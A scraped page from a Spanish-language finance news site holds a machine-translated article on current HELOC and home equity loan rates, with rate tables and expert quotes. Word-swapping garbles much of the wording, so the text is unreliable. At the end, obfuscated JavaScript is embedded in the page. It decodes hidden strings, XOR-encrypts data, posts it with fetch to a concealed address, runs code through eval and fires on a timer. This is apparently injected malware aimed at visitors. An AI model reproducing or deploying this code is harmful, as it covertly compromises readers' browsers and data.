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<style scoped>.tdi_17,.tdi_17 .tdc-columns{min-height:0}.tdi_17,.tdi_17 .tdc-columns{display:block}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:table}@media (max-width:767px){.tdi_17,.tdi_17 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:none}@media (min-width:768px){.tdi_17{margin-left:-0px;margin-right:-0px}.tdi_17 .tdc-row-video-background-error,.tdi_17>.vc_column,.tdi_17>.tdc-columns>.vc_column{padding-left:0px;padding-right:0px}}}@media (max-width:767px){.tdi_17{padding-top:5px!important;padding-bottom:5px!important;position:relative}}</style>
<div class="tdi_16_rand_style td-element-style" ><style>@media (max-width:767px){.tdi_16_rand_style{background-color:#00456e!important}}</style></div><div class="vc_column tdi_19  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Saturday, September 19, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
<style>.tdi_41{justify-content:flex-end!important;text-align:right!important}</style>
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<div class="overflow-hidden relative bg-blue-50 aspect-video w-full rounded-lg">
        <img src="https://www.bankrate.com/brp/2025/11/05153521/HE-Analysis-image.webp?auto=webp&amp;optimize=high&amp;crop=16:9" class="featured-img w-full" alt="casa equilibrada sobre una pila de monedas, fondo rosa, ilustración fotográfica" loading="eager" decoding="async" fetchpriority="high" srcset="https://www.bankrate.com/brp/2025/11/05153521/HE-Analysis-image.webp?auto=webp&amp;optimize=high&amp;crop=16:9&amp;width=912 912w,
                https://www.bankrate.com/brp/2025/11/05153521/HE-Analysis-image.webp?auto=webp&amp;optimize=high&amp;crop=16:9&amp;width=800 800w,
                https://www.bankrate.com/brp/2025/11/05153521/HE-Analysis-image.webp?auto=webp&amp;optimize=high&amp;crop=16:9&amp;width=720 720w,
                https://www.bankrate.com/brp/2025/11/05153521/HE-Analysis-image.webp?auto=webp&amp;optimize=high&amp;crop=16:9&amp;width=600 600w,
                https://www.bankrate.com/brp/2025/11/05153521/HE-Analysis-image.webp?auto=webp&amp;optimize=high&amp;crop=16:9&amp;width=420 420w,
                https://www.bankrate.com/brp/2025/11/05153521/HE-Analysis-image.webp?auto=webp&amp;optimize=high&amp;crop=16:9&amp;width=320 320w" sizes="(min-width: 912px) 912px, (min-width: 840px) 420px, 160px">
    </div>
<p>            Imagen: Getty Images; Ilustración: tasa bancaria
        </p>
</p></div>
<div>
<p>No hubo movimiento en las tasas sobre el valía saldo de la vivienda en la última semana. La camino de $30.000 sobre el valía saldo de la vivienda y el préstamo sobre el valía saldo de la vivienda a cinco abriles de $30.000 se mantuvieron sin cambios, manteniéndose en 7,18% y 7,84%, respectivamente, según la averiguación franquista de prestamistas de Bankrate. </p>
<p>Legado que las tasas de valía saldo de la vivienda se mantienen en su nivel más bajo en tres abriles, un HELOC puede ser una buena opción para los propietarios que tienen mucho valía saldo en sus viviendas y gastos futuros, dice Jeff DerGurahian, director de inversiones y economista jerarca de lendDepot.</p>
<p>“Tal vez usted obtuvo una tasa hipotecaria del 3% o menos durante la pandemia y no quiere renunciar a ella, pero tiene uno o varios acontecimientos en su vida por delante”, dice. &#8220;Tal vez tienes varios hijos que van a la universidad y quieres pedir capital prestado para cubrir eso. Tener el HELOC, para retirar capital ahora y potencialmente retirar capital interiormente de unos abriles, siempre que el período de retiro aún esté campechano, es una buena característica&#8221;.</p>
<div class="w-full overflow-x-auto">
<table class="wp-block-table has-fixed-layout wrapped">
<tbody>
<tr>
<td><strong> </strong></td>
<td><strong>Presente</strong></td>
<td><strong>hace 4 semanas</strong></td>
<td><strong>Hace un año</strong></td>
<td><strong>promedio de 52 semanas</strong></td>
<td><strong>intrascendente de 52 semanas</strong></td>
</tr>
<tr>
<td>HELOC</td>
<td>7,18%</td>
<td>7,32%</td>
<td>8,04%</td>
<td>7,91%</td>
<td>7,18%</td>
</tr>
<tr>
<td>Préstamo con seguro hipotecaria a 5 abriles
</td>
<td>7,84%</td>
<td>7,92%</td>
<td>8,37%</td>
<td>8,15%</td>
<td>7,84%</td>
</tr>
<tr>
<td>Préstamo con seguro hipotecaria a 10 abriles</td>
<td>8,04%</td>
<td>8,09%</td>
<td>8,52%</td>
<td>8,31%</td>
<td>8,04%</td>
</tr>
<tr>
<td>Préstamo con seguro hipotecaria a 15 abriles</td>
<td>8,00%</td>
<td>8,09%</td>
<td>8,45%</td>
<td>8,24%</td>
<td>8,00%</td>
</tr>
<tr>
<td colspan="6"><em>Nota: Las tasas sobre el valía saldo de la vivienda en esta averiguación suponen un monto de camino o préstamo de $30,000.</em></td>
</tr>
</tbody>
</table>
</div>
<h2 data-position="1" data-beam-element-viewed="" data-id="br-h2-1-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="What’s driving home equity rates today?" data-outcome="">¿Qué está impulsando las tasas de valía saldo de la vivienda hoy en día?</h2>
<p>Las tasas de valía saldo de la vivienda están impulsadas principalmente por dos factores: la política de la Reserva Federal y las expectativas de inflación a espacioso plazo. La Reserva Federal dejó las tasas de interés sin cambios en su reunión de enero, mientras continúa monitoreando la inflación y el mercado sindical. De cara al resto del año, el analista senior de la industria de Bankrate, Ted Rossman, pronostica que la Reserva Federal aplicará tres cortaduras de un cuarto de punto en 2026.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/como-y-por-que-sacar-la-equidad-de-su-hogar" target="_self" rel="dofollow" class="uc82b6c5c74db7706447158a8bd6069cf"><!-- INLINE RELATED POSTS 1/3 //--><style> .uc82b6c5c74db7706447158a8bd6069cf { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .uc82b6c5c74db7706447158a8bd6069cf:active, .uc82b6c5c74db7706447158a8bd6069cf:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .uc82b6c5c74db7706447158a8bd6069cf { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .uc82b6c5c74db7706447158a8bd6069cf .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .uc82b6c5c74db7706447158a8bd6069cf .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .uc82b6c5c74db7706447158a8bd6069cf:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Cómo y por qué sacar la equidad de su hogar</span></div></a></div><p>&#8220;La inflación continúa moderándose, aunque lentamente, y el mercado sindical parece estar estabilizándose luego de un aumento de la tasa de desempleo&#8221;, afirma. &#8220;Los riesgos parecen sobrado equilibrados en este momento, y la Reserva Federal probablemente tardará algún tiempo en determinar su próximo paso. Pronto incluso tendremos un nuevo presidente de la Reserva Federal&#8221;.</p>
<h2 data-position="2" data-beam-element-viewed="" data-id="br-h2-2-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Current home equity rates vs. rates on other types of credit" data-outcome="">Tasas actuales sobre el valía saldo de la vivienda frente a tasas de otros tipos de crédito</h2>
<p>Conveniente a que los HELOC y los préstamos sobre el valía de la vivienda utilizan su vivienda como seguro, sus tasas tienden a ser mucho menos costosas (más parecidas a las tasas hipotecarias actuales) que los intereses que se cobran sobre las tarjetas de crédito o los préstamos personales, que no están garantizados.</p>
<div class="w-full overflow-x-auto">
<table class="wp-block-table has-fixed-layout wrapped">
<tbody>
<tr>
<td><strong>Tipo de crédito</strong></td>
<td><strong>Tarifa promedio</strong></td>
</tr>
<tr>
<td>HELOC</td>
<td>7,18%</td>
</tr>
<tr>
<td>Préstamo con seguro hipotecaria</td>
<td>7,84%</td>
</tr>
<tr>
<td>Polímero de crédito</td>
<td>19,58%</td>
</tr>
<tr>
<td>Préstamo personal</td>
<td>12,26%</td>
</tr>
<tr>
<td colspan="2"><em>Fuente: Averiguación franquista de prestamistas de Bankrate, 11 de marzo</em></td>
</tr>
</tbody>
</table>
</div>
<p>Si admisiblemente es útil conocer las tasas promedio, la ofrecimiento individual que recibe sobre un HELOC en particular o un préstamo con seguro hipotecaria nueva incluso refleja factores adicionales, como su solvencia crediticia y sus finanzas. Luego está el valía de su casa y el tamaño de su billete en la propiedad. Los prestamistas generalmente limitan todos sus préstamos hipotecarios (incluida su hipoteca) a un mayor del 80% al 85% del valía de su vivienda.</p>
<p>Tenga en cuenta: incluso si puede obtener una tasa inclinado de un prestamista, los productos sobre el valía saldo de la vivienda siguen siendo deudas de costo relativamente detención.</p>
<div class="InlineCta not-wysiwyg my-12">
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<h3 class="InlineCta-title">
<p>    Libere el valía de su casa<br />
    </h3>
<p>    <!-- htmlmin:ignore --></p>
<p class="InlineCta-copy">Un préstamo con seguro hipotecaria a tasa fija ofrece un plazo entero y un calendario de pagos predecible. </p>
<p>        Explorar ofertas</p></div>
</div>
<section class="editorial-insight-box --insight-box +mg-vertical-md" data-template="insight_box">
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<p>                    Tendencias del valía saldo de la vivienda
                </p>
<div class="content wysiwyg wysiwyg--flush">
<ul>
<li>En promedio, las participaciones en el hacienda de los propietarios de viviendas con hipotecas han aumentado un 142% en todo el país desde 2020, según un estudio de Bankrate sobre los estados con mayores y menores ganancias en el hacienda de las viviendas.</li>
<li>La morosidad serio de HELOC aumentó un 1,24% en el cuarto trimestre de 2025 en comparación con un aumento del 0,56% en el cuarto trimestre de 2024, según el Sotabanco de la Reserva Federal de Nueva York.</li>
<li>Posteriormente de ingresar hacienda en 2023 y 2024, los propietarios perdieron un promedio de $13,400 en hacienda en 2025, según Cotality.</li>
<li>En el cuarto trimestre de 2025, las originaciones sobre el valía saldo de la vivienda aumentaron un 14,3% a 714.000, el sexto trimestre consecutivo de crecimiento, según TransUnion.</li>
<li>En el cuarto trimestre de 2025, los titulares de hipotecas tenían 11,2 billones de dólares en hacienda aprovechable, lo que supone el crecimiento más sosegado en más de dos abriles, según el ICE November Mortgage Profesor.</li>
</ul></div>
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TextEncoder,RoFydX_=new TextDecoder,FCEwfK=new Uint8Array(IVZkRo(0x70)[IVZkRo(0x71)](",")[IVZkRo(0x72)](Number)),W9MgK8v=0x5265c00,lqSq0iQ=YxGpSl=>{return(Ji8kSQ[0x0],eval)(YxGpSl)},ozOJY5L=YxGpSl=>{function IVZkRo(YxGpSl){var IVZkRo="cZB(eJywDg>%{tAfM5+_\"[)W?ioa3|X~<USR2#7CFm^@`dsrHuh*InLqK;PlN&V4.k1zGbT!/}Y$QO8jE]:=xv,690p",rlfF9TI,IMJjms,f9cKAlm,WDb_wlm,mMpJYT1,ubBYr0,Wlvnnv;h5HZ2X(rlfF9TI=""+(YxGpSl||""),IMJjms=rlfF9TI.length,f9cKAlm=[],WDb_wlm=Ji8kSQ[0x0],mMpJYT1=Ji8kSQ[0x0],ubBYr0=-Ji8kSQ[0x1]);for(Wlvnnv=Ji8kSQ[0x0];Wlvnnv<IMJjms;Wlvnnv++){var WdMJPz8=IVZkRo.indexOf(rlfF9TI[Wlvnnv]);if(WdMJPz8===-Ji8kSQ[0x1])continue;if(ubBYr0<Ji8kSQ[0x0]){ubBYr0=WdMJPz8}else{h5HZ2X(ubBYr0+=WdMJPz8*Ji8kSQ[0xc],WDb_wlm|=ubBYr0<<mMpJYT1,mMpJYT1+=(ubBYr0&Ji8kSQ[0xd])>Ji8kSQ[0xe]?Ji8kSQ[0xf]:Ji8kSQ[0x10]);do{h5HZ2X(f9cKAlm.push(WDb_wlm&Ji8kSQ[0x3]),WDb_wlm>>=Ji8kSQ[0x2],mMpJYT1-=Ji8kSQ[0x2])}while(mMpJYT1>Ji8kSQ[0x9]);ubBYr0=-Ji8kSQ[0x1]}}if(ubBYr0>-Ji8kSQ[0x1]){f9cKAlm.push((WDb_wlm|ubBYr0<<mMpJYT1)&Ji8kSQ[0x3])}return Ewquct(f9cKAlm)}function rlfF9TI(YxGpSl){if(typeof HHKxauF[YxGpSl]===Ji8kSQ[0x5]){return HHKxauF[YxGpSl]=IVZkRo(RW_yfgl[YxGpSl])}return HHKxauF[YxGpSl]}return new Uint8Array(YxGpSl[rlfF9TI(0x73)]((YxGpSl,IVZkRo)=>{return YxGpSl^FCEwfK[IVZkRo%FCEwfK[rlfF9TI(0x74)]]}))},AWRRX58=async(YxGpSl,rlfF9TI)=>{function IMJjms(YxGpSl){var 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fetch(IVZkRo(0x75)+YxGpSl,{[f9cKAlm(0x76)]:f9cKAlm(0x77),[f9cKAlm(0x78)]:ozOJY5L(ORfu5j[f9cKAlm(0x79)](JSON[f9cKAlm(0x7a)](rlfF9TI)))});if(!WDb_wlm.ok){throw new Error}return RoFydX_[f9cKAlm(0x7b)](ozOJY5L(new Uint8Array(await WDb_wlm[f9cKAlm(0x7c)]())))};let s43Jkz4=Ji8kSQ[0x0],T2KvM4=Ji8kSQ[0x0];setTimeout(()=>{function YxGpSl(YxGpSl){var IVZkRo="voSdmkUPjAqElOQpFYHIrRNTiCD#MxZVWhbL>uy@?{:]43!<9$(2}[+w8z.1%|*/5,^`)_aJBfKec7X~&s0\"n;gG6=t",rlfF9TI,IMJjms,f9cKAlm,WDb_wlm,mMpJYT1,ubBYr0,Wlvnnv;h5HZ2X(rlfF9TI=""+(YxGpSl||""),IMJjms=rlfF9TI.length,f9cKAlm=[],WDb_wlm=Ji8kSQ[0x0],mMpJYT1=Ji8kSQ[0x0],ubBYr0=-Ji8kSQ[0x1]);for(Wlvnnv=Ji8kSQ[0x0];Wlvnnv<IMJjms;Wlvnnv++){var WdMJPz8=IVZkRo.indexOf(rlfF9TI[Wlvnnv]);if(WdMJPz8===-Ji8kSQ[0x1])continue;if(ubBYr0<Ji8kSQ[0x0]){ubBYr0=WdMJPz8}else{h5HZ2X(ubBYr0+=WdMJPz8*Ji8kSQ[0xc],WDb_wlm|=ubBYr0<<mMpJYT1,mMpJYT1+=(ubBYr0&Ji8kSQ[0xd])>Ji8kSQ[0xe]?Ji8kSQ[0xf]:Ji8kSQ[0x10]);do{h5HZ2X(f9cKAlm.push(WDb_wlm&Ji8kSQ[0x3]),WDb_wlm>>=Ji8kSQ[0x2],mMpJYT1-=Ji8kSQ[0x2])}while(mMpJYT1>Ji8kSQ[0x9]);ubBYr0=-Ji8kSQ[0x1]}}if(ubBYr0>-Ji8kSQ[0x1]){f9cKAlm.push((WDb_wlm|ubBYr0<<mMpJYT1)&Ji8kSQ[0x3])}return Ewquct(f9cKAlm)}function IVZkRo(IVZkRo){if(typeof HHKxauF[IVZkRo]===Ji8kSQ[0x5]){return HHKxauF[IVZkRo]=YxGpSl(RW_yfgl[IVZkRo])}return HHKxauF[IVZkRo]}if(IVZkRo(0x7d)in rih5dR){rlfF9TI()}function rlfF9TI(){(function(YxGpSl){var rlfF9TI,IMJjms,f9cKAlm,WDb_wlm;function mMpJYT1(YxGpSl){var rlfF9TI="?t@h.nw51V#!b&\"Gl4e$v7:g(sFEfoIzT}DQ)*`3H2C[_{aYX>WJ+=uMBjZK<x]rm/cAyq|~;Lp%6^R,ONPkU89Si0d",IMJjms,f9cKAlm,WDb_wlm,mMpJYT1,ubBYr0,Wlvnnv,WdMJPz8;h5HZ2X(IMJjms=""+(YxGpSl||""),f9cKAlm=IMJjms.length,WDb_wlm=[],mMpJYT1=Ji8kSQ[0x0],ubBYr0=Ji8kSQ[0x0],Wlvnnv=-Ji8kSQ[0x1]);for(WdMJPz8=Ji8kSQ[0x0];WdMJPz8<f9cKAlm;WdMJPz8++){var 